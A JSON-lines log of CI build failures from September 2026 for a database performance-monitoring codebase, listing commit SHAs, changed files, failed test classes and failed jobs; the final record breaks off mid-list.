+{"date":"2026-09-27","head_sha":"323d11a4b7f3b5527536e665a9e784d132e15ae8","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingWatermarkFloorPlanShapeLiveTests.cs","Darling/Darling.Tests/DarlingWatermarkIndexEquivalenceLiveTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs"],"failed_classes":["Darling.Tests.ActivityDrivenPlanFetchStoreTests","Darling.Tests.CheckpointsTimedRungTests","Darling.Tests.CollectionCaveatsRungTests","Darling.Tests.CollectionLogDrainForensicsStoreTests","Darling.Tests.CollectionLogFanoutRollupStoreTests","Darling.Tests.CollectionLogFetchPhaseSumsLivePostgresTests","Darling.Tests.CollectionLogFetchPhaseSumsStoreTests","Darling.Tests.CollectionLogPhaseSplitStoreTests","Darling.Tests.CollectorDatabaseScopeRungTests","Darling.Tests.CollectorStallProbeStoreTests","Darling.Tests.ComposeStatementTimeoutStoreTests","Darling.Tests.ComposeStatementTimeoutV147MigrationLiveTests","Darling.Tests.CustomAlertCoreMigrationTests","Darling.Tests.DarlingAnalysisStoreTests","Darling.Tests.DarlingCustomViewsTests","Darling.Tests.DarlingObservabilityTests","Darling.Tests.DarlingPlanCorrectionLiveMigrationTests","Darling.Tests.DarlingServerTagsTests","Darling.Tests.DeadlockRateBandRungTests","Darling.Tests.DeltaFamilyIntervalColumnsRungTests","Darling.Tests.DeltaFamilyIntervalCompletionRungTests","Darling.Tests.FileGrowthAlertStoreTests","Darling.Tests.FleetSweepCadenceKnobRungTests","Darling.Tests.FleetSweepStateRungTests","Darling.Tests.IncidentOccurrenceAccumulatorTests","Darling.Tests.IndexObjectStatsServerTimeIndexRungTests","Darling.Tests.LivePostgresStoreFixtureTests","Darling.Tests.LongRunningQueryExclusionKnobRungTests","Darling.Tests.ManagedConfVerdictsRungTests","Darling.Tests.MonitoredEngineKindStoreTests","Darling.Tests.MuteRuleReloadBeaconTests","Darling.Tests.NotificationRoutesRungTests","Darling.Tests.OversizedPlanBacklogPins","Darling.Tests.PerfmonCounterTypeRungTests","Darling.Tests.Pg18IoBytesTests","Darling.Tests.PgAlertCountKnobRungTests","Darling.Tests.PgCpuCapacityHeadroomTests","Darling.Tests.PgDatabaseSizeStatsAndHostMemoryLivePostgresTests","Darling.Tests.PgDatabaseSizeStatsAndHostMemoryRungTests","Darling.Tests.PgIndexBloatEstimateRungTests","Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgLogEventsRungTests","Darling.Tests.PgNumbackendsAndSampledMsLivePostgresTests","Darling.Tests.PgNumbackendsAndSampledMsRungTests","Darling.Tests.PgServerConfigScopeRungTests","Darling.Tests.PgServerConfigTests","Darling.Tests.PgStatementTextTests","Darling.Tests.PlanContentRetentionTests","Darling.Tests.PlanForceActionStoreTests","Darling.Tests.PostgresMajorVersionRegistryTests","Darling.Tests.PostmasterStartTimeLivePostgresTests","Darling.Tests.PostmasterStartTimeRungTests","Darling.Tests.PvsStatsStoreTests","Darling.Tests.QsCaptureModeRouteKnobToastLivePostgresTests","Darling.Tests.QsCaptureModeRouteKnobToastRungTests","Darling.Tests.QueryStoreHealthStoreTests","Darling.Tests.QueryStoreIntervalLatestRungTests","Darling.Tests.QueryStoreIntervalWideRungTests","Darling.Tests.QueryStoreLivenessHotTouchLiveTests","Darling.Tests.QueryStoreTextStoreTests","Darling.Tests.RawChunkIntervalRungHistoryRungTests","Darling.Tests.ScaffoldTests","Darling.Tests.SelfDiskWarnGbFloorRungTests","Darling.Tests.StoreLogSelfMonitoringStoreTests","Darling.Tests.StoreSelfMetricsTests","Darling.Tests.TempDbCeilingStoreTests","Darling.Tests.TimeHonestyRungLivePostgresTests","Darling.Tests.TimeHonestyRungTests","PerformanceMonitor.Darling.Tests.StoreConnectionSelfTestLiveTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (2)","build","Darling PG tests (1)"]}
+{"date":"2026-09-27","head_sha":"1b03b214f4a79e4add0cc36d57e37bd30e9a94ee","event":"pull_request","changed_files":["Darling/Darling.Tests/LitePerfmonWaitStatisticsArtifactSourceTests.cs","Lite.Tests/LitePerfmonWaitStatisticsArtifactLiveTests.cs","Lite/Controls/ServerTab.Pickers.cs","Lite/Mcp/McpPerfmonTools.cs","Lite/Services/LocalDataService.Perfmon.cs","Lite/Services/LocalDataService.TrendBuckets.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests","PerformanceMonitorLite.Tests.LitePerfmonWaitStatisticsArtifactLiveTests"],"failed_jobs":["build","Lite tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-27","head_sha":"b33399f21934a1f58ac26398f21c0c37361d9b1a","event":"pull_request","changed_files":["Darling/Darling.Tests/JobHistoryPerServerTopNLiveTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs"],"failed_classes":["Darling.Tests.DarlingCloudIdentityProbeTests","Darling.Tests.JobHistoryPerServerTopNLiveTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-27","head_sha":"bd31a3a390165ad4e93113de453888108d538026","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionHealthAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Storage/CollectionHealthRollupSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs"],"failed_classes":["Darling.Tests.FleetCollectionHealthMemoTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-27","head_sha":"8394dd35a0c3d860089ff18a2fff5d3cb35554f1","event":"pull_request","changed_files":["Darling/Darling.Tests/AgGroupIdLiveReaderTests.cs","Darling/Darling.Tests/AgGroupIdRungTests.cs","Darling/Darling.Tests/CollectionLogWatermarkAndJobHistoryIndexesRungTests.cs","Darling/Darling.Tests/DarlingAgReaderTests.cs","Darling/Darling.Tests/PgSchemaGeneratorTests.cs","Darling/Darling.Tests/QueryStoreLivenessHotTouchLiveTests.cs","Darling/Darling.Tests/ViewerAvailabilityGroupsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingAgStatesReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AvailabilityGroups.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Lite.Tests/AgCollectorDefinitionTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/LocalDataService.AgTopology.cs","PerformanceMonitor.Collectors/AgDatabaseReplicaStatesCollector.cs","PerformanceMonitor.Collectors/AgReplicaStatesCollector.cs","PerformanceMonitor.Common/AgTopology.cs"],"failed_classes":["Darling.Tests.AgGroupIdRungTests","Darling.Tests.QsCaptureModeRouteKnobToastRungTests","Lite.Tests.AgCollectorDefinitionTests","PerformanceMonitorLite.Tests.DuckDbSchemaEquivalenceTests","PerformanceMonitorLite.Tests.QsCaptureModeRungTests"],"failed_jobs":["Lite tests (0)","Lite tests (3)","build","Darling PG tests (1)"]}
+{"date":"2026-09-27","head_sha":"40f6059a474d9c31dbac8c0c970fe5e11b904a25","event":"pull_request","changed_files":["Darling/Darling.Tests/JobHistoryPerServerTopNLiveTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs"],"failed_classes":["Darling.Tests.JobHistoryPerServerTopNLiveTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)","build"]}
+{"date":"2026-09-27","head_sha":"48d385c5822ebee00e7b5403f49d526cfcf5b7cf","event":"pull_request","changed_files":[".github/workflows/build.yml"],"failed_classes":["Darling.Tests.DarlingStoreUpgradeTests","Darling.Tests.ManagedConfUpgradePathTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-27","head_sha":"b652ab3d6f5635b63b4d61a36f0a790a4d1b5339","event":"pull_request","changed_files":["Darling/Darling.Tests/JobHistoryPerServerTopNLiveTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs"],"failed_classes":["Darling.Tests.JobHistoryPerServerTopNLiveTests"],"failed_jobs":["Darling PG tests (1)","build","Darling PG tests (0)"]}
+{"date":"2026-09-27","head_sha":"fe1aa556b94a2c7170a871fc51ef02a371a70550","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCollectorRunnerTests.cs","Darling/Darling.Tests/JobHistoryIdentityEpochTests.cs","Darling/Darling.Tests/JobHistoryNaturalKeyDedupeTests.cs","Darling/Darling.Tests/JobHistoryWatermarkEpochLiveTests.cs","Darling/Darling.Tests/LiteJobHistorySourceTests.cs","Darling/Darling.Tests/ServerWatermarkCacheRunnerLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Lite.Tests/JobHistoryDedupeAndWatermarkLiteTests.cs","Lite/Services/RemoteCollectorService.DefinitionRunner.cs","Lite/Services/RemoteCollectorService.cs","PerformanceMonitor.Collectors/INaturalKeyDedupedCollector.cs","PerformanceMonitor.Collectors/JobHistoryCollector.cs"],"failed_classes":["Darling.Tests.JobHistoryWatermarkEpochLiveTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-27","head_sha":"d4ccb2ed0816778aa405ad4ccd4a0213fe2d6659","event":"push","changed_files":["Darling/Darling.Tests/EventWindowedReadsCarryTheFloorTests.cs","Darling/Darling.Tests/JobHistoryPerServerTopNLiveTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs"],"failed_classes":["Darling.Tests.ScramVerifierLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-27","head_sha":"d0075921241a45fbc768b808394b8987b85bd0bf","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/StoreLogClassifierTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.PgLogEventsPipelineTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (0)","build"]}
+{"date":"2026-09-27","head_sha":"13bf1036fcb986f806756d3dfbb020f6fb3d3df4","event":"pull_request","changed_files":["PerformanceMonitor.Collectors/PgLogEntryAssembler.cs"],"failed_classes":["Darling.Tests.PgLogEventMetricsParserTests","Darling.Tests.PgLogEventsPipelineTests","Darling.Tests.RdsLogEventIngestorTimezoneTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (0)","Darling PG tests (2)","build","Darling whole-tree guards"]}
+{"date":"2026-09-27","head_sha":"f43cd0097d3c6c1063fd68d06def15cdacb7a084","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs","Darling/Darling.Tests/StoreLogClassifierTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.PgLogEventsPipelineTests","Lite.Tests.PgLoggingCollectorGateTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)","Lite tests (1)"]}
+{"date":"2026-09-27","head_sha":"bab1c4114bac757411a4d5e21121d67c9e464261","event":"pull_request","changed_files":["Darling/Darling.Tests/AgGroupIdRungTests.cs","Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/CaggGroupIndexDropRungTests.cs","Darling/Darling.Tests/CaggGroupIndexDropUpgradeLiveTests.cs","Darling/Darling.Tests/IntervalDedupMaterializationIndexesTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/PgSchemaGeneratorTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.AbandonedRunEraInvariantReadTests","Darling.Tests.AgGroupIdLiveReaderTests","Darling.Tests.AgGroupIdRungTests","Darling.Tests.AlertNotebookAuthoredContextTests","Darling.Tests.AlertNotebookCollectorFreshnessLiveTests","Darling.Tests.AlertStoredValueTests","Darling.Tests.AnalysisAsOfAnchorLivePostgresTests","Darling.Tests.AnalysisCoverageLivePostgresTests","Darling.Tests.AnalysisPageCapLiveTests","Darling.Tests.AnalyzeWindowEmptyLivePostgresTests","Darling.Tests.AnomalyDetectorErrorGuardLiveTests","Darling.Tests.AnomalyNullWindowLiveTests","Darling.Tests.AnomalyObjectStatsLatestSnapshotsLiveTests","Darling.Tests.AsOfWindowAnchorLivePostgresTests","Darling.Tests.AvailabilityGroupCountReadTests","Darling.Tests.BaselineDiscontinuityLivePostgresTests","Darling.Tests.CaggGroupIndexDropLiveTests","Darling.Tests.CaggGroupIndexDropUpgradeLiveTests","Darling.Tests.CaptureDownChunkOrderTests","Darling.Tests.CiClusterWorkerSizingLiveTests","Darling.Tests.CollectionCaveatStoreLiveTests","Darling.Tests.CollectionHealthAggregateTests","Darling.Tests.CollectionHealthPayloadBudgetLiveTests","Darling.Tests.CollectionLogFetchPhaseSumsLivePostgresTests","Darling.Tests.CollectionLogWatermarkAndJobHistoryIndexesRungTests","Darling.Tests.CollectorCostMaterialityFloorTests","Darling.Tests.CollectorCostRegressionDispersionTests","Darling.Tests.CollectorCostRegressionMaterialityTests","Darling.Tests.CollectorCostRegressionPerRunTests","Darling.Tests.CollectorDatabaseScopeLivePostgresTests","Darling.Tests.CollectorStateContractTests","Darling.Tests.CollectorTableCatalogShadowTests","Darling.Tests.CompareAnalysisPgBandingLiveTests","Darling.Tests.ComposeAdHocModuleLivePostgresTests","Darling.Tests.ComposeQueryStoreLivePostgresTests","Darling.Tests.ComposeStatementTimeoutV147MigrationLiveTests","Darling.Tests.ComposeStoreRolesLiveTests","Darling.Tests.ComposeTopSeriesLivePostgresTests","Darling.Tests.CompressionEnableGuardLiveTests","Darling.Tests.ConfigChangeFamiliesLivePostgresTests","Darling.Tests.ConfigChangeTraceAnchorLivePostgresTests","Darling.Tests.CustomAlertEvaluateNowLiveTests","Darling.Tests.CustomAlertLastFiredLiveTests","Darling.Tests.CustomAlertResolveGrantLiveTests","Darling.Tests.CustomAlertRuleCapLiveTests","Darling.Tests.CustomAlertSeverityEscalationLiveTests","Darling.Tests.CustomAlertStateStoreLiveTests","Darling.Tests.CustomAlertTagSubtreeLiveTests","Darling.Tests.CustomAlertTeardownLiveTests","Darling.Tests.DailyStitchLiveTests","Darling.Tests.DailySummaryAndComposeStitchedLiveTests","Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.DailySummaryReadShapeLiveTests","Darling.Tests.DarkPastRetentionReadsOfflineLivePostgresTests","Darling.Tests.DarlingAgStatesReaderLiveEqualityTests","Darling.Tests.DarlingAlertReadAdapterTests","Darling.Tests.DarlingAlertTuningKnobsTests","Darling.Tests.DarlingAlertingTests","Darling.Tests.DarlingAnalysisPipelineTests","Darling.Tests.DarlingAnalysisServiceEngineRoutingTests","Darling.Tests.DarlingAnalysisStoreTests","Darling.Tests.DarlingAnomalyBaselineTests","Darling.Tests.DarlingBlockingStatsReadTests","Darling.Tests.DarlingBlockingTrendEmptyTests","Darling.Tests.DarlingCappedReadLivePostgresTests","Darling.Tests.DarlingCliCommandsHostCheckTests","Darling.Tests.DarlingCollectionHealthLatestNoteTests","Darling.Tests.DarlingCollectionLogReadTests","Darling.Tests.DarlingCollectorRunnerTests","Darling.Tests.DarlingCollectorToggleVerbLivePostgresTests","Darling.Tests.DarlingCommandExecutorTests","Darling.Tests.DarlingComposeLivePostgresTests","Darling.Tests.DarlingCurrentWaitsTrendTests","Darling.Tests.DarlingCustomViewsLiveTests","Darling.Tests.DarlingDailySummaryRangeTests","Darling.Tests.DarlingDeliveryModeTests","Darling.Tests.DarlingDeltaSeederTests","Darling.Tests.DarlingEmptyEnumerationInventoryTests","Darling.Tests.DarlingEndpointToggleCliTests","Darling.Tests.DarlingFleetReaderLivePostgresTests","Darling.Tests.DarlingIndexLockingRenamedDatabaseLivePostgresTests","Darling.Tests.DarlingLiveStoreExtensionParityTests","Darling.Tests.DarlingLockWaitTrendTests","Darling.Tests.DarlingMcpActiveQueriesBudgetLiveTests","Darling.Tests.DarlingMcpAgToolsLivePostgresTests","Darling.Tests.DarlingMcpAlertToolsLivePostgresTests","Darling.Tests.DarlingMcpAnalysisFindingsBudgetLiveTests","Darling.Tests.DarlingMcpBlockingBudgetLiveTests","Darling.Tests.DarlingMcpBlockingToolsLivePostgresTests","Darling.Tests.DarlingMcpConfigHistoryToolsLivePostgresTests","Darling.Tests.DarlingMcpConfigToolsLivePostgresTests","Darling.Tests.DarlingMcpCustomAlertToolsLivePostgresTests","Darling.Tests.DarlingMcpCustomViewToolsLivePostgresTests","Darling.Tests.DarlingMcpDataToolsLivePostgresTests","Darling.Tests.DarlingMcpDeadlockDetailBudgetLiveTests","Darling.Tests.DarlingMcpDefaultTraceToolsLivePostgresTests","Darling.Tests.DarlingMcpHealthParserToolsLivePostgresTests","Darling.Tests.DarlingMcpHealthToolsLivePostgresTests","Darling.Tests.DarlingMcpJobToolsLivePostgresTests","Darling.Tests.DarlingMcpLatchSpinlockToolsLivePostgresTests","Darling.Tests.DarlingMcpMemoryGrantToolsLivePostgresTests","Darling.Tests.DarlingMcpObjectStatsToolsLivePostgresTests","Darling.Tests.DarlingMcpPgLoggingAuditLivePostgresTests","Darling.Tests.DarlingMcpPgPlanQueryIdLiveTests","Darling.Tests.DarlingMcpPlanCacheSchedulerToolsLivePostgresTests","Darling.Tests.DarlingMcpPlanToolsLivePostgresTests","Darling.Tests.DarlingMcpQueryStoreRegressionsBudgetLiveTests","Darling.Tests.DarlingMcpServerAdminToolsLivePostgresTests","Darling.Tests.DarlingMcpSessionToolsLivePostgresTests","Darling.Tests.DarlingMcpStoreHostBudgetLiveTests","Darling.Tests.DarlingMcpStoreHostToolsLiveTests","Darling.Tests.DarlingMcpToolsTests","Darling.Tests.DarlingMcpTrendToolsLivePostgresTests","Darling.Tests.DarlingMemoryTrendGrantJoinTests","Darling.Tests.DarlingModuleMapTests","Darling.Tests.DarlingObservabilityTests","Darling.Tests.DarlingPerformanceTrendsReadTests","Darling.Tests.DarlingPerformanceTrendsTierRoutingLiveTests","Darling.Tests.DarlingPgAutovacuumVerdictLiveTests","Darling.Tests.DarlingPgDatabaseStatsLiveTests","Darling.Tests.DarlingPgIndexBloatCoverageLivePostgresTests","Darling.Tests.DarlingPgIndexBloatNanLivePostgresTests","Darling.Tests.DarlingPgIndexBloatRotationReadLivePostgresTests","Darling.Tests.DarlingPgReadSqlParsesLiveTests","Darling.Tests.DarlingPgSlotVerdictLiveTests","Darling.Tests.DarlingPgTopQueriesLiveTests","Darling.Tests.DarlingPlanCorrectionLiveMigrationTests","Darling.Tests.DarlingQueryHeatmapBudgetLiveTests","Darling.Tests.DarlingQueryHeatmapLiveTests","Darling.Tests.DarlingQueryStoreRegressionsLiveTests","Darling.Tests.DarlingRemainingEmptyReadsTests","Darling.Tests.DarlingRetentionTests","Darling.Tests.DarlingSecuritySplitLiveTests","Darling.Tests.DarlingSelfAlertTests","Darling.Tests.DarlingSignificantWaitsReadTests","Darling.Tests.DarlingStoreHostProfileLiveTests","Darling.Tests.DarlingStoreMetricsJobLoggingLivePostgresTests","Darling.Tests.DarlingStoreUpgradeTests","Darling.Tests.DarlingTrendEmptyTests","Darling.Tests.DarlingWatermarkFloorPlanShapeLiveTests","Darling.Tests.DarlingWatermarkFloorScanBoundLiveTests","Darling.Tests.DarlingWatermarkIndexEquivalenceLiveTests","Darling.Tests.DarlingWatermarkSeedLiveTests","Darling.Tests.DatabaseFileGrowthReadTests","Darling.Tests.DatabaseSizeLatestPlanShapeLiveTests","Darling.Tests.DatabaseStateAlertMemoryLiveTests","Darling.Tests.DefaultTraceEventFrameLivePostgresTests","Darling.Tests.DeltaFamilyIntervalCompletionLivePostgresTests","Darling.Tests.DrillDownDopProvenanceLiveTests","Darling.Tests.EngineAwareVersionLabelTests","Darling.Tests.EngineCapabilityMissLivePostgresTests","Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests","Darling.Tests.ExcludedDatabasesStoreLiveTests","Darling.Tests.FinOpsObjectGrowthBoundsMergeLiveTests","Darling.Tests.FinOpsTopConsumersMergeLiveTests","Darling.Tests.FleetCardPostgresCpuLivePostgresTests","Darling.Tests.FleetCollectionHealthByServerLiveEqualityTests","Darling.Tests.FleetCollectionHealthMemoLivePostgresTests","Darling.Tests.FleetReadsAreBoundedLivePostgresTests","Darling.Tests.FleetSweepStoreLivePostgresTests","Darling.Tests.ForcePlanFailuresAccessPathTests","Darling.Tests.FreshStoreWatermarkLiveTests","Darling.Tests.FrozenRollupLiveTests","Darling.Tests.GetReadLatencyLiveTests","Darling.Tests.HoldEarnedByDeliveryTests","Darling.Tests.IndexUsageBudgetLiveTests","Darling.Tests.IndexUsageTruncationLivePostgresTests","Darling.Tests.IntervalDedupMaterializationIndexesTests","Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.JobHistoryGroupedStatsMatchWindowFunctionLiveTests","Darling.Tests.JobHistoryPerServerTopNLiveTests","Darling.Tests.JobHistoryWatermarkEpochLiveTests","Darling.Tests.LatestCpuReadShapeLivePostgresTests","Darling.Tests.LatestValueLookbackLivePostgresTests","Darling.Tests.LiveCleanupBatchTests","Darling.Tests.LivePostgresStoreFixtureTests","Darling.Tests.LocalClockBucketKeyLiveTests","Darling.Tests.ManagedConfVerdictsLiveTests","Darling.Tests.MaterializationHoleRepairLiveTests","Darling.Tests.MaterializationHoleScanShapeLiveTests","Darling.Tests.McpCollectionLogPerServerResponseBudgetLivePostgresTests","Darling.Tests.McpComposedQueryDeadlineLivePostgresTests","Darling.Tests.McpFilterSemanticsLivePostgresTests","Darling.Tests.McpFleetResponseBudgetLivePostgresTests","Darling.Tests.McpLatestSnapshotStampLivePostgresTests","Darling.Tests.McpPageContractLivePostgresTests","Darling.Tests.McpReadToolBudgetLiveTests","Darling.Tests.McpZeroIsAMeasurementLivePostgresTests","Darling.Tests.MemoryGrantTempDbBucketingLiveTests","Darling.Tests.MigrationLockWaitContentionTests","Darling.Tests.MigrationUpgradeLadderLiveTests","Darling.Tests.MonitoredEngineKindStoreTests","Darling.Tests.MuteRuleReloadBeaconLivePostgresTests","Darling.Tests.NotificationRoutesLivePostgresTests","Darling.Tests.ObjectLockingBudgetLiveTests","Darling.Tests.OversizedPlanBacklogReadLivePostgresTests","Darling.Tests.OversizedPlanSweepRunRecordLivePostgresTests","Darling.Tests.OverviewFleetHealthSingleFlightLiveTests","Darling.Tests.ParameterSensitiveDrillDownTextLiveTests","Darling.Tests.ParameterSensitivityClockFrameLiveTests","Darling.Tests.PayloadDimensionLiveTests","Darling.Tests.PerServerCollectionHealthMemoLivePostgresTests","Darling.Tests.PerfmonCounterTypeLivePostgresTests","Darling.Tests.PerfmonWaitStatisticsArtifactMcpLiveTests","Darling.Tests.PerfmonWaitStatisticsArtifactViewerLiveTests","Darling.Tests.PgAutovacuumDisabledSpellingLiveTests","Darling.Tests.PgBaselineProviderKeyedLiveTests","Darling.Tests.PgBlockingChainsDedupedByRootLivePostgresTests","Darling.Tests.PgCopyWriterTests","Darling.Tests.PgDatabaseSizeStatsAndHostMemoryLivePostgresTests","Darling.Tests.PgDeadlockCandidatePatternLiveTests","Darling.Tests.PgDeadlockNormalizationTests","Darling.Tests.PgDeadlockRemaskTests","Darling.Tests.PgDeadlocksCsvlogLiveTests","Darling.Tests.PgFactCollectorTests","Darling.Tests.PgIoTrendDefaultBudgetLiveTests","Darling.Tests.PgLogEventMetricsLivePostgresTests","Darling.Tests.PgLogEventsCsvlogLiveTests","Darling.Tests.PgLogEventsJsonlogLiveTests","Darling.Tests.PgLogEventsLivePostgresTests","Darling.Tests.PgLongRunningQueryExclusionLiveTests","Darling.Tests.PgNumbackendsAndSampledMsLivePostgresTests","Darling.Tests.PgPlanCaptureGuardedCastLiveTests","Darling.Tests.PgRaiseShapedRecordsLiveTests","Darling.Tests.PgReadBinaryFileCapabilityLiveTests","Darling.Tests.PgServerConfigOverrideLivePostgresTests","Darling.Tests.PgServerConfigPendingRestartLiveTests","Darling.Tests.PgServerConfigToolBoundLiveTests","Darling.Tests.PgSettingRedactionLivePostgresTests","Darling.Tests.PgSettingScrubLiveTests","Darling.Tests.PgStatementKeyedSetLiveTests","Darling.Tests.PgStatementTextScrubLiveTests","Darling.Tests.PgStatementTextUpsertLivePostgresTests","Darling.Tests.PgTargetAnomalyTests","Darling.Tests.PgTargetAuditConfigTests","Darling.Tests.PgTargetBloatLiveTests","Darling.Tests.PgTargetBlockingTests","Darling.Tests.PgTargetBufferDrillDownTests","Darling.Tests.PgTargetClockLiveTests","Darling.Tests.PgTargetCollectionCaveatsLiveTests","Darling.Tests.PgTargetConfigSnapshotBoundLiveTests","Darling.Tests.PgTargetDeadlockDrillDownTests","Darling.Tests.PgTargetFactCollectorTests","Darling.Tests.PgTargetGrowthLiveTests","Darling.Tests.PgTargetIoTests","Darling.Tests.PgTargetKernelTests","Darling.Tests.PgTargetKnobsTests","Darling.Tests.PgTargetMemoryTests","Darling.Tests.PgTargetPlanTests","Darling.Tests.PgTargetPostureTests","Darling.Tests.PgTargetQueriesTests","Darling.Tests.PgTargetReplicationTests","Darling.Tests.PgTargetSampledWaitLiveTests","Darling.Tests.PgTargetSeqScanTests","Darling.Tests.PgTargetSessionsTests","Darling.Tests.PgTargetTempTests","Darling.Tests.PgTargetTileBehaviourIoReplicationBlockingTests","Darling.Tests.PgTargetTileBehaviourTests","Darling.Tests.PgTargetTileBehaviourWalKernelSampledTests","Darling.Tests.PgTargetVacuumLiveTests","Darling.Tests.PgTargetWaitLiveTests","Darling.Tests.PgTargetWriteTests","Darling.Tests.PgWaitSamplerLiveTests","Darling.Tests.PlanCorrectionBudgetLiveTests","Darling.Tests.PlanCorrectionFrameLiveTests","Darling.Tests.PlanForceActionDetailScrubLiveTests","Darling.Tests.PlanForceActionStoreTests","Darling.Tests.PlanRegressionDrillDownReuseLiveTests","Darling.Tests.PlanRegressionIntervalTableEquivalenceTests","Darling.Tests.PostgresDatabaseListScreenLivePostgresTests","Darling.Tests.PostgresEngineGateBehaviorTests","Darling.Tests.PostmasterStartTimeLivePostgresTests","Darling.Tests.PvsStatsStoreTests","Darling.Tests.QsCaptureModeRouteKnobToastLivePostgresTests","Darling.Tests.QueryHighDopStaleMaxDopLiveTests","Darling.Tests.QueryStatsUnknownCpuLiveTests","Darling.Tests.QueryStoreBackfillCandidateLiveTests","Darling.Tests.QueryStoreClutterLivePostgresTests","Darling.Tests.QueryStoreCorrectedRollupLiveTests","Darling.Tests.QueryStoreDurationTrendTableLiveTests","Darling.Tests.QueryStoreFetchProbeLivePostgresTests","Darling.Tests.QueryStoreIntervalLatestWriterTests","Darling.Tests.QueryStoreIntervalWideGridLiveTests","Darling.Tests.QueryStoreIntervalWideWriterTests","Darling.Tests.QueryStoreLivenessHotTouchLiveTests","Darling.Tests.QueryStoreLivenessTablePruneLiveTests","Darling.Tests.QueryStoreReplicaSplitAnalysisLiveTests","Darling.Tests.QueryStoreSliceRepairLiveTests","Darling.Tests.QueryStoreStatePruneLivePostgresTests","Darling.Tests.QueryStoreTopBudgetLiveTests","Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests","Darling.Tests.QueryStoreTopMcpLiveTests","Darling.Tests.QueryStoreTrendRoutingLiveTests","Darling.Tests.RawChunkIntervalReconcilerLiveTests","Darling.Tests.RawGatePerSlotSourceFloorLiveTests","Darling.Tests.RawPurgeConvergeLiveTests","Darling.Tests.RawPurgeTriggerGateErrorTests","Darling.Tests.RawPurgeTriggerLiveTests","Darling.Tests.RawRepairEpochTriggerLiveTests","Darling.Tests.RawRetentionPurgeJobLiveTests","Darling.Tests.RawRetentionServiceTriggeredLiveTests","Darling.Tests.RawTablesLeaveCatalogSw